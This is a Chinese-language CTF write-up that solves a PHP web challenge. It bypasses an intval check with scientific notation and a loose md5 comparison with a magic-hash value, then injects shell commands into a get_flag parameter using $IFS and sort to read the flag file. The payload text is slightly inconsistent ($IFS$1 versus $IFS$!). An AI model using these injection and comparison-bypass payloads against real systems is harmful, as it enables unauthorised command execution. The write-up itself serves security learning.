首先打开题目
只有一个Hack me,然后抓包
没有得到什么,不过title里面有个bot
于是联想到robots.txt
User-agent: * Disallow: /fAke_f1agggg.php
然后打开Fake_flagggg.php
然后在抓包结果看一下,发现了
Look_at_me: /fl4g.php
于是我打开fl4g.php
首先是第一步,这个代码很明显是要想办法绕过
if(intval($num) < 2020 && intval($num + 1) > 2021)
这个可以用科学计数法绕过比如说num='1e10'不过由于这个函数值就会变成1
如果num='1e10'+1那么这个num的值就会首先被强制类型转换成整形然后再进行intval函数
payload:?num=1e10
然后是第二步
首先看到题目是MD5类型题目并且是$a==md5($a)是弱相等,所以直接payload:
?num=2e10&md5=0e215962017
然后是第三步,代码审计以后发现传入参数里面不能有空格而且cat会被替换成wctf2020
于是我们采用$IFS$1来代替空格,然后用sort来替代cat的功能
首先用ls查看一下flag文件名字
404.html fAke_f1agggg.php fl4g.php fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag img.jpg index.php robots.txt
所以很明显flag应该在
fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
里面
于是最终payload:
?num=2e10&md5=0e215962017&get_flag=sort$IFS$!fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag